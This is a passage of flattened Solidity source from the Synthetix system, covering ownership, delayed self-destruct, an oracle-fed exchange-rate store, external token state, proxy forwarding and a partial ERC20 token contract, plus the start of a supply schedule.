nominatedOwner = _owner; emit OwnerNominated(_owner); } /** * @notice Accept the nomination to be owner. */ function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: SelfDestructible.sol version: 1.2 author: Anton Jurisevic date: 2018-05-29 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- This contract allows an inheriting contract to be destroyed after its owner indicates an intention and then waits for a period without changing their mind. All ether contained in the contract is forwarded to a nominated beneficiary upon destruction. ----------------------------------------------------------------- */ /** * @title A contract that can be destroyed by its owner after a delay elapses. */ contract SelfDestructible is Owned { uint public initiationTime; bool public selfDestructInitiated; address public selfDestructBeneficiary; uint public constant SELFDESTRUCT_DELAY = 4 weeks; /** * @dev Constructor * @param _owner The account which controls this contract. */ constructor(address _owner) Owned(_owner) public { require(_owner != address(0), "Owner must not be the zero address"); selfDestructBeneficiary = _owner; emit SelfDestructBeneficiaryUpdated(_owner); } /** * @notice Set the beneficiary address of this contract. * @dev Only the contract owner may call this. The provided beneficiary must be non-null. * @param _beneficiary The address to pay any eth contained in this contract to upon self-destruction. */ function setSelfDestructBeneficiary(address _beneficiary) external onlyOwner { require(_beneficiary != address(0), "Beneficiary must not be the zero address"); selfDestructBeneficiary = _beneficiary; emit SelfDestructBeneficiaryUpdated(_beneficiary); } /** * @notice Begin the self-destruction counter of this contract. * Once the delay has elapsed, the contract may be self-destructed. * @dev Only the contract owner may call this. */ function initiateSelfDestruct() external onlyOwner { initiationTime = now; selfDestructInitiated = true; emit SelfDestructInitiated(SELFDESTRUCT_DELAY); } /** * @notice Terminate and reset the self-destruction timer. * @dev Only the contract owner may call this. */ function terminateSelfDestruct() external onlyOwner { initiationTime = 0; selfDestructInitiated = false; emit SelfDestructTerminated(); } /** * @notice If the self-destruction delay has elapsed, destroy this contract and * remit any ether it owns to the beneficiary address. * @dev Only the contract owner may call this. */ function selfDestruct() external onlyOwner { require(selfDestructInitiated, "Self destruct has not yet been initiated"); require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed"); address beneficiary = selfDestructBeneficiary; emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } event SelfDestructTerminated(); event SelfDestructed(address beneficiary); event SelfDestructInitiated(uint selfDestructDelay); event SelfDestructBeneficiaryUpdated(address newBeneficiary); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: ExchangeRates.sol version: 1.0 author: Kevin Brown date: 2018-09-12 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A contract that any other contract in the Synthetix system can query for the current market value of various assets, including crypto assets as well as various fiat assets. This contract assumes that rate updates will completely update all rates to their current values. If a rate shock happens on a single asset, the oracle will still push updated rates for all other assets. ----------------------------------------------------------------- */ /** * @title The repository for exchange rates */ contract ExchangeRates is SelfDestructible { using SafeMath for uint; using SafeDecimalMath for uint; // Exchange rates stored by currency code, e.g. &#39;SNX&#39;, or &#39;sUSD&#39; mapping(bytes4 => uint) public rates; // Update times stored by currency code, e.g. &#39;SNX&#39;, or &#39;sUSD&#39; mapping(bytes4 => uint) public lastRateUpdateTimes; // The address of the oracle which pushes rate updates to this contract address public oracle; // Do not allow the oracle to submit times any further forward into the future than this constant. uint constant ORACLE_FUTURE_LIMIT = 10 minutes; // How long will the contract assume the rate of any asset is correct uint public rateStalePeriod = 3 hours; // Lock exchanges until price update complete bool public priceUpdateLock = false; // Each participating currency in the XDR basket is represented as a currency key with // equal weighting. // There are 5 participating currencies, so we&#39;ll declare that clearly. bytes4[5] public xdrParticipants; // For inverted prices, keep a mapping of their entry, limits and frozen status struct InversePricing { uint entryPoint; uint upperLimit; uint lowerLimit; bool frozen; } mapping(bytes4 => InversePricing) public inversePricing; bytes4[] public invertedKeys; // // ========== CONSTRUCTOR ========== /** * @dev Constructor * @param _owner The owner of this contract. * @param _oracle The address which is able to update rate information. * @param _currencyKeys The initial currency keys to store (in order). * @param _newRates The initial currency amounts for each currency (in order). */ constructor( // SelfDestructible (Ownable) address _owner, // Oracle values - Allows for rate updates address _oracle, bytes4[] _currencyKeys, uint[] _newRates ) /* Owned is initialised in SelfDestructible */ SelfDestructible(_owner) public { require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match."); oracle = _oracle; // The sUSD rate is always 1 and is never stale. rates["sUSD"] = SafeDecimalMath.unit(); lastRateUpdateTimes["sUSD"] = now; // These are the currencies that make up the XDR basket. // These are hard coded because: // - This way users can depend on the calculation and know it won&#39;t change for this deployment of the contract. // - Adding new currencies would likely introduce some kind of weighting factor, which // isn&#39;t worth preemptively adding when all of the currencies in the current basket are weighted at 1. // - The expectation is if this logic needs to be updated, we&#39;ll simply deploy a new version of this contract // then point the system at the new version. xdrParticipants = [ bytes4("sUSD"), bytes4("sAUD"), bytes4("sCHF"), bytes4("sEUR"), bytes4("sGBP") ]; internalUpdateRates(_currencyKeys, _newRates, now); } /* ========== SETTERS ========== */ /** * @notice Set the rates stored in this contract * @param currencyKeys The currency keys you wish to update the rates for (in order) * @param newRates The rates for each currency (in order) * @param timeSent The timestamp of when the update was sent, specified in seconds since epoch (e.g. the same as the now keyword in solidity).contract * This is useful because transactions can take a while to confirm, so this way we know how old the oracle&#39;s datapoint was exactly even * if it takes a long time for the transaction to confirm. */ function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) external onlyOracle returns(bool) { return internalUpdateRates(currencyKeys, newRates, timeSent); } /** * @notice Internal function which sets the rates stored in this contract * @param currencyKeys The currency keys you wish to update the rates for (in order) * @param newRates The rates for each currency (in order) * @param timeSent The timestamp of when the update was sent, specified in seconds since epoch (e.g. the same as the now keyword in solidity).contract * This is useful because transactions can take a while to confirm, so this way we know how old the oracle&#39;s datapoint was exactly even * if it takes a long time for the transaction to confirm. */ function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) internal returns(bool) { require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length."); require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future"); // Loop through each key and perform update. for (uint i = 0; i < currencyKeys.length; i++) { // Should not set any rate to zero ever, as no asset will ever be // truely worthless and still valid. In this scenario, we should // delete the rate and remove it from the system. require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead."); require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it&#39;s always UNIT."); // We should only update the rate if it&#39;s at least the same age as the last rate we&#39;ve got. if (timeSent < lastRateUpdateTimes[currencyKeys[i]]) { continue; } newRates[i] = rateOrInverted(currencyKeys[i], newRates[i]); // Ok, go ahead with the update. rates[currencyKeys[i]] = newRates[i]; lastRateUpdateTimes[currencyKeys[i]] = timeSent; } emit RatesUpdated(currencyKeys, newRates); // Now update our XDR rate. updateXDRRate(timeSent); // If locked during a priceupdate then reset it if (priceUpdateLock) { priceUpdateLock = false; } return true; } /** * @notice Internal function to get the inverted rate, if any, and mark an inverted * key as frozen if either limits are reached. * @param currencyKey The price key to lookup * @param rate The rate for the given price key */ function rateOrInverted(bytes4 currencyKey, uint rate) internal returns (uint) { // if an inverse mapping exists, adjust the price accordingly InversePricing storage inverse = inversePricing[currencyKey]; if (inverse.entryPoint <= 0) { return rate; } // set the rate to the current rate initially (if it&#39;s frozen, this is what will be returned) uint newInverseRate = rates[currencyKey]; // get the new inverted rate if not frozen if (!inverse.frozen) { uint doubleEntryPoint = inverse.entryPoint.mul(2); if (doubleEntryPoint <= rate) { // avoid negative numbers for unsigned ints, so set this to 0 // which by the requirement that lowerLimit be > 0 will // cause this to freeze the price to the lowerLimit newInverseRate = 0; } else { newInverseRate = doubleEntryPoint.sub(rate); } // now if new rate hits our limits, set it to the limit and freeze if (newInverseRate >= inverse.upperLimit) { newInverseRate = inverse.upperLimit; } else if (newInverseRate <= inverse.lowerLimit) { newInverseRate = inverse.lowerLimit; } if (newInverseRate == inverse.upperLimit || newInverseRate == inverse.lowerLimit) { inverse.frozen = true; emit InversePriceFrozen(currencyKey); } } return newInverseRate; } /** * @notice Update the Synthetix Drawing Rights exchange rate based on other rates already updated. */ function updateXDRRate(uint timeSent) internal { uint total = 0; for (uint i = 0; i < xdrParticipants.length; i++) { total = rates[xdrParticipants[i]].add(total); } // Set the rate rates["XDR"] = total; // Record that we updated the XDR rate. lastRateUpdateTimes["XDR"] = timeSent; // Emit our updated event separate to the others to save // moving data around between arrays. bytes4[] memory eventCurrencyCode = new bytes4[](1); eventCurrencyCode[0] = "XDR"; uint[] memory eventRate = new uint[](1); eventRate[0] = rates["XDR"]; emit RatesUpdated(eventCurrencyCode, eventRate); } /** * @notice Delete a rate stored in the contract * @param currencyKey The currency key you wish to delete the rate for */ function deleteRate(bytes4 currencyKey) external onlyOracle { require(rates[currencyKey] > 0, "Rate is zero"); delete rates[currencyKey]; delete lastRateUpdateTimes[currencyKey]; emit RateDeleted(currencyKey); } /** * @notice Set the Oracle that pushes the rate information to this contract * @param _oracle The new oracle address */ function setOracle(address _oracle) external onlyOwner { oracle = _oracle; emit OracleUpdated(oracle); } /** * @notice Set the stale period on the updated rate variables * @param _time The new rateStalePeriod */ function setRateStalePeriod(uint _time) external onlyOwner { rateStalePeriod = _time; emit RateStalePeriodUpdated(rateStalePeriod); } /** * @notice Set the the locked state for a priceUpdate call * @param _priceUpdateLock lock boolean flag */ function setPriceUpdateLock(bool _priceUpdateLock) external onlyOracle { priceUpdateLock = _priceUpdateLock; } /** * @notice Set an inverse price up for the currency key * @param currencyKey The currency to update * @param entryPoint The entry price point of the inverted price * @param upperLimit The upper limit, at or above which the price will be frozen * @param lowerLimit The lower limit, at or below which the price will be frozen */ function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit) external onlyOwner { require(entryPoint > 0, "entryPoint must be above 0"); require(lowerLimit > 0, "lowerLimit must be above 0"); require(upperLimit > entryPoint, "upperLimit must be above the entryPoint"); require(upperLimit < entryPoint.mul(2), "upperLimit must be less than double entryPoint"); require(lowerLimit < entryPoint, "lowerLimit must be below the entryPoint"); if (inversePricing[currencyKey].entryPoint <= 0) { // then we are adding a new inverse pricing, so add this invertedKeys.push(currencyKey); } inversePricing[currencyKey].entryPoint = entryPoint; inversePricing[currencyKey].upperLimit = upperLimit; inversePricing[currencyKey].lowerLimit = lowerLimit; inversePricing[currencyKey].frozen = false; emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit); } /** * @notice Remove an inverse price for the currency key * @param currencyKey The currency to remove inverse pricing for */ function removeInversePricing(bytes4 currencyKey) external onlyOwner { inversePricing[currencyKey].entryPoint = 0; inversePricing[currencyKey].upperLimit = 0; inversePricing[currencyKey].lowerLimit = 0; inversePricing[currencyKey].frozen = false; // now remove inverted key from array for (uint8 i = 0; i < invertedKeys.length; i++) { if (invertedKeys[i] == currencyKey) { delete invertedKeys[i]; // Copy the last key into the place of the one we just deleted // If there&#39;s only one key, this is array[0] = array[0]. // If we&#39;re deleting the last one, it&#39;s also a NOOP in the same way. invertedKeys[i] = invertedKeys[invertedKeys.length - 1]; // Decrease the size of the array by one. invertedKeys.length--; break; } } emit InversePriceConfigured(currencyKey, 0, 0, 0); } /* ========== VIEWS ========== */ /** * @notice A function that lets you easily convert an amount in a source currency to an amount in the destination currency * @param sourceCurrencyKey The currency the amount is specified in * @param sourceAmount The source amount, specified in UNIT base * @param destinationCurrencyKey The destination currency */ function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey) public view rateNotStale(sourceCurrencyKey) rateNotStale(destinationCurrencyKey) returns (uint) { // If there&#39;s no change in the currency, then just return the amount they gave us if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount; // Calculate the effective value by going from source -> USD -> destination return sourceAmount.multiplyDecimalRound(rateForCurrency(sourceCurrencyKey)) .divideDecimalRound(rateForCurrency(destinationCurrencyKey)); } /** * @notice Retrieve the rate for a specific currency */ function rateForCurrency(bytes4 currencyKey) public view returns (uint) { return rates[currencyKey]; } /** * @notice Retrieve the rates for a list of currencies */ function ratesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory _rates = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { _rates[i] = rates[currencyKeys[i]]; } return _rates; } /** * @notice Retrieve a list of last update times for specific currencies */ function lastRateUpdateTimeForCurrency(bytes4 currencyKey) public view returns (uint) { return lastRateUpdateTimes[currencyKey]; } /** * @notice Retrieve the last update time for a specific currency */ function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory lastUpdateTimes = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]]; } return lastUpdateTimes; } /** * @notice Check if a specific currency&#39;s rate hasn&#39;t been updated for longer than the stale period. */ function rateIsStale(bytes4 currencyKey) public view returns (bool) { // sUSD is a special case and is never stale. if (currencyKey == "sUSD") return false; return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now; } /** * @notice Check if any rate is frozen (cannot be exchanged into) */ function rateIsFrozen(bytes4 currencyKey) external view returns (bool) { return inversePricing[currencyKey].frozen; } /** * @notice Check if any of the currency rates passed in haven&#39;t been updated for longer than the stale period. */ function anyRateIsStale(bytes4[] currencyKeys) external view returns (bool) { // Loop through each key and check whether the data point is stale. uint256 i = 0; while (i < currencyKeys.length) { // sUSD is a special case and is never false if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) { return true; } i += 1; } return false; } /* ========== MODIFIERS ========== */ modifier rateNotStale(bytes4 currencyKey) { require(!rateIsStale(currencyKey), "Rate stale or nonexistant currency"); _; } modifier onlyOracle { require(msg.sender == oracle, "Only the oracle can perform this action"); _; } /* ========== EVENTS ========== */ event OracleUpdated(address newOracle); event RateStalePeriodUpdated(uint rateStalePeriod); event RatesUpdated(bytes4[] currencyKeys, uint[] newRates); event RateDeleted(bytes4 currencyKey); event InversePriceConfigured(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit); event InversePriceFrozen(bytes4 currencyKey); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: State.sol version: 1.1 author: Dominic Romanowski Anton Jurisevic date: 2018-05-15 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- This contract is used side by side with external state token contracts, such as Synthetix and Synth. It provides an easy way to upgrade contract logic while maintaining all user balances and allowances. This is designed to make the changeover as easy as possible, since mappings are not so cheap or straightforward to migrate. The first deployed contract would create this state contract, using it as its store of balances. When a new contract is deployed, it links to the existing state contract, whose owner would then change its associated contract to the new one. ----------------------------------------------------------------- */ contract State is Owned { // the address of the contract that can modify variables // this can only be changed by the owner of this contract address public associatedContract; constructor(address _owner, address _associatedContract) Owned(_owner) public { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== SETTERS ========== */ // Change the associated contract to a new address function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== MODIFIERS ========== */ modifier onlyAssociatedContract { require(msg.sender == associatedContract, "Only the associated contract can perform this action"); _; } /* ========== EVENTS ========== */ event AssociatedContractUpdated(address associatedContract); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: TokenState.sol version: 1.1 author: Dominic Romanowski Anton Jurisevic date: 2018-05-15 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A contract that holds the state of an ERC20 compliant token. This contract is used side by side with external state token contracts, such as Synthetix and Synth. It provides an easy way to upgrade contract logic while maintaining all user balances and allowances. This is designed to make the changeover as easy as possible, since mappings are not so cheap or straightforward to migrate. The first deployed contract would create this state contract, using it as its store of balances. When a new contract is deployed, it links to the existing state contract, whose owner would then change its associated contract to the new one. ----------------------------------------------------------------- */ /** * @title ERC20 Token State * @notice Stores balance information of an ERC20 token contract. */ contract TokenState is State { /* ERC20 fields. */ mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; /** * @dev Constructor * @param _owner The address which controls this contract. * @param _associatedContract The ERC20 contract whose state this composes. */ constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) public {} /* ========== SETTERS ========== */ /** * @notice Set ERC20 allowance. * @dev Only the associated contract may call this. * @param tokenOwner The authorising party. * @param spender The authorised party. * @param value The total value the authorised party may spend on the * authorising party&#39;s behalf. */ function setAllowance(address tokenOwner, address spender, uint value) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } /** * @notice Set the balance in a given account * @dev Only the associated contract may call this. * @param account The account whose value to set. * @param value The new balance of the given account. */ function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: Proxy.sol version: 1.3 author: Anton Jurisevic date: 2018-05-29 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A proxy contract that, if it does not recognise the function being called on it, passes all value and call data to an underlying target contract. This proxy has the capacity to toggle between DELEGATECALL and CALL style proxy functionality. The former executes in the proxy&#39;s context, and so will preserve msg.sender and store data at the proxy address. The latter will not. Therefore, any contract the proxy wraps in the CALL style must implement the Proxyable interface, in order that it can pass msg.sender into the underlying contract as the state parameter, messageSender. ----------------------------------------------------------------- */ contract Proxy is Owned { Proxyable public target; bool public useDELEGATECALL; constructor(address _owner) Owned(_owner) public {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function setUseDELEGATECALL(bool value) external onlyOwner { useDELEGATECALL = value; } function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { /* The first 32 bytes of callData contain its length (as specified by the abi). * Length is assumed to be a uint256 and therefore maximum of 32 bytes * in length. It is also leftpadded to be a multiple of 32 bytes. * This means moving call_data across 32 bytes guarantees we correctly access * the data itself. */ switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } function() external payable { if (useDELEGATECALL) { assembly { /* Copy call data into free memory region. */ let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) /* Forward all gas and call data to the target contract. */ let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) /* Revert if the call failed, otherwise return the result. */ if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } else { /* Here we are as above, but must send the messageSender explicitly * since we are using CALL rather than DELEGATECALL. */ target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) /* We must explicitly forward ether to the underlying contract as well. */ let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: Proxyable.sol version: 1.1 author: Anton Jurisevic date: 2018-05-15 checked: Mike Spain approved: Samuel Brooks ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A proxyable contract that works hand in hand with the Proxy contract to allow for anyone to interact with the underlying contract both directly and through the proxy. ----------------------------------------------------------------- */ // This contract should be treated like an abstract contract contract Proxyable is Owned { /* The proxy this contract exists behind. */ Proxy public proxy; /* The caller of the proxy, passed through to this contract. * Note that every function using this member must apply the onlyProxy or * optionalProxy modifiers, otherwise their invocations can use stale values. */ address messageSender; constructor(address _proxy, address _owner) Owned(_owner) public { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { require(Proxy(msg.sender) == proxy, "Only the proxy can call this function"); _; } modifier optionalProxy { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } _; } modifier optionalProxy_onlyOwner { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } require(messageSender == owner, "This action can only be performed by the owner"); _; } event ProxyUpdated(address proxyAddress); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: ExternStateToken.sol version: 1.0 author: Kevin Brown date: 2018-08-06 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- This contract offers a modifer that can prevent reentrancy on particular actions. It will not work if you put it on multiple functions that can be called from each other. Specifically guard external entry points to the contract with the modifier only. ----------------------------------------------------------------- */ contract ReentrancyPreventer { /* ========== MODIFIERS ========== */ bool isInFunctionBody = false; modifier preventReentrancy { require(!isInFunctionBody, "Reverted to prevent reentrancy"); isInFunctionBody = true; _; isInFunctionBody = false; } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: TokenFallback.sol version: 1.0 author: Kevin Brown date: 2018-08-10 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- This contract provides the logic that&#39;s used to call tokenFallback() when transfers happen. It&#39;s pulled out into its own module because it&#39;s needed in two places, so instead of copy/pasting this logic and maininting it both in Fee Token and Extern State Token, it&#39;s here and depended on by both contracts. ----------------------------------------------------------------- */ contract TokenFallbackCaller is ReentrancyPreventer { function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data) internal preventReentrancy { /* If we&#39;re transferring to a contract and it implements the tokenFallback function, call it. This isn&#39;t ERC223 compliant because we don&#39;t revert if the contract doesn&#39;t implement tokenFallback. This is because many DEXes and other contracts that expect to work with the standard approve / transferFrom workflow don&#39;t implement tokenFallback but can still process our tokens as usual, so it feels very harsh and likely to cause trouble if we add this restriction after having previously gone live with a vanilla ERC20. */ // Is the to address a contract? We can check the code size on that address and know. uint length; // solium-disable-next-line security/no-inline-assembly assembly { // Retrieve the size of the code on the recipient address length := extcodesize(recipient) } // If there&#39;s code there, it&#39;s a contract if (length > 0) { // Now we need to optionally call tokenFallback(address from, uint value). // We can&#39;t call it the normal way because that reverts when the recipient doesn&#39;t implement the function. // solium-disable-next-line security/no-low-level-calls recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data)); // And yes, we specifically don&#39;t care if this call fails, so we&#39;re not checking the return value. } } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: ExternStateToken.sol version: 1.3 author: Anton Jurisevic Dominic Romanowski Kevin Brown date: 2018-05-29 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A partial ERC20 token contract, designed to operate with a proxy. To produce a complete ERC20 token, transfer and transferFrom tokens must be implemented, using the provided _byProxy internal functions. This contract utilises an external state for upgradeability. ----------------------------------------------------------------- */ /** * @title ERC20 Token contract, with detached state and designed to operate behind a proxy. */ contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller { using SafeMath for uint; using SafeDecimalMath for uint; /* ========== STATE VARIABLES ========== */ /* Stores balances and allowances. */ TokenState public tokenState; /* Other ERC20 fields. */ string public name; string public symbol; uint public totalSupply; uint8 public decimals; /** * @dev Constructor. * @param _proxy The proxy associated with this contract. * @param _name Token&#39;s ERC20 name. * @param _symbol Token&#39;s ERC20 symbol. * @param _totalSupply The total supply of the token. * @param _tokenState The TokenState contract address. * @param _owner The owner of this contract. */ constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply, uint8 _decimals, address _owner) SelfDestructible(_owner) Proxyable(_proxy, _owner) public { tokenState = _tokenState; name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; } /* ========== VIEWS ========== */ /** * @notice Returns the ERC20 allowance of one party to spend on behalf of another. * @param owner The party authorising spending of their funds. * @param spender The party spending tokenOwner&#39;s funds. */ function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } /** * @notice Returns the ERC20 token balance of a given account. */ function balanceOf(address account) public view returns (uint) { return tokenState.balanceOf(account); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Set the address of the TokenState contract. * @dev This can be used to "pause" transfer functionality, by pointing the tokenState at 0x000.. * as balances would be unreachable. */ function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(_tokenState); } function _internalTransfer(address from, address to, uint value, bytes data) internal returns (bool) { /* Disallow transfers to irretrievable-addresses. */ require(to != address(0), "Cannot transfer to the 0 address"); require(to != address(this), "Cannot transfer to the underlying contract"); require(to != address(proxy), "Cannot transfer to the proxy contract"); // Insufficient balance will be handled by the safe subtraction. tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value)); tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value)); // If the recipient is a contract, we need to call tokenFallback on it so they can do ERC223 // actions when receiving our tokens. Unlike the standard, however, we don&#39;t revert if the // recipient contract doesn&#39;t implement tokenFallback. callTokenFallbackIfNeeded(from, to, value, data); // Emit a standard ERC20 transfer event emitTransfer(from, to, value); return true; } /** * @dev Perform an ERC20 token transfer. Designed to be called by transfer functions possessing * the onlyProxy or optionalProxy modifiers. */ function _transfer_byProxy(address from, address to, uint value, bytes data) internal returns (bool) { return _internalTransfer(from, to, value, data); } /** * @dev Perform an ERC20 token transferFrom. Designed to be called by transferFrom functions * possessing the optionalProxy or optionalProxy modifiers. */ function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data) internal returns (bool) { /* Insufficient allowance will be handled by the safe subtraction. */ tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value)); return _internalTransfer(from, to, value, data); } /** * @notice Approves spender to transfer on the message sender&#39;s behalf. */ function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } /* ========== EVENTS ========== */ event Transfer(address indexed from, address indexed to, uint value); bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)"); function emitTransfer(address from, address to, uint value) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)"); function emitApproval(address owner, address spender, uint value) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)"); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } } contract IFeePool { address public FEE_ADDRESS; function amountReceivedFromExchange(uint value) external view returns (uint); function amountReceivedFromTransfer(uint value) external view returns (uint); function feePaid(bytes4 currencyKey, uint amount) external; function appendAccountIssuanceRecord(address account, uint lockedAmount, uint debtEntryIndex) external; function rewardsMinted(uint amount) external; function transferFeeIncurred(uint value) public view returns (uint); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: SupplySchedule.sol version: 1.0 author: Jackson Chan Clinton Ennis date: 2019-03-01 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- Supply Schedule contract. SNX is a transferable ERC20 token. User&#39;s get staking rewards as part of the incentives of +------+-------------+--------------+----------+ | Year | Increase | Total Supply | Increase | +------+-------------+--------------+----------+ | 1 | 0 | 100,000,000 | | | 2 | 75,000,000 | 175,000,000 | 75% | | 3 | 37,500,000 | 212,500,000 | 21% | | 4 | 18,750,000 | 231,250,000 | 9% | | 5 | 9,375,000 | 240,625,000 | 4% | | 6 | 4,687,500 | 245,312,500 | 2% | +------+-------------+--------------+----------+ ----------------------------------------------------------------- */ /** * @title SupplySchedule contract */ contract SupplySchedule is Owned { using SafeMath for uint; using SafeDecimalMath for uint; /* Storage */ struct ScheduleData { // Total supply issuable during period uint totalSupply; // UTC Time - Start of the schedule uint startPeriod; // UTC Time - End of the schedule uint endPeriod; // UTC Time - Total of supply minted uint totalSupplyMinted; } // How long each mint period is uint public mintPeriodDuration = 1 weeks; // time supply last minted uint public lastMintEvent; Synthetix public synthetix; uint constant SECONDS_IN_YEAR = 60 * 60 * 24 * 365; uint public constant START_DATE = 1520294400; // 2018-03-06T00:00:00+00:00 uint public constant YEAR_ONE = START_DATE + SECONDS_IN_YEAR.mul(1); uint public constant YEAR_TWO = START_DATE + SECONDS_IN_YEAR.mul(2); uint public constant YEAR_THREE = START_DATE + SECONDS_IN_YEAR.mul(3); uint public constant YEAR_FOUR = START_DATE + SECONDS_IN_YEAR.mul(4); uint public constant YEAR_FIVE = START_DATE + SECONDS_IN_YEAR.mul(5); uint public constant YEAR_SIX = START_DATE + SECONDS_IN_YEAR.mul(6); uint public constant YEAR_SEVEN = START_DATE + SECONDS_IN_YEAR.mul(7); uint8 constant public INFLATION_SCHEDULES_LENGTH = 7; ScheduleData[INFLATION_SCHEDULES_LENGTH] public schedules; uint public minterReward = 200 * SafeDecimalMath.unit(); constructor(address _owner) Owned(_owner) 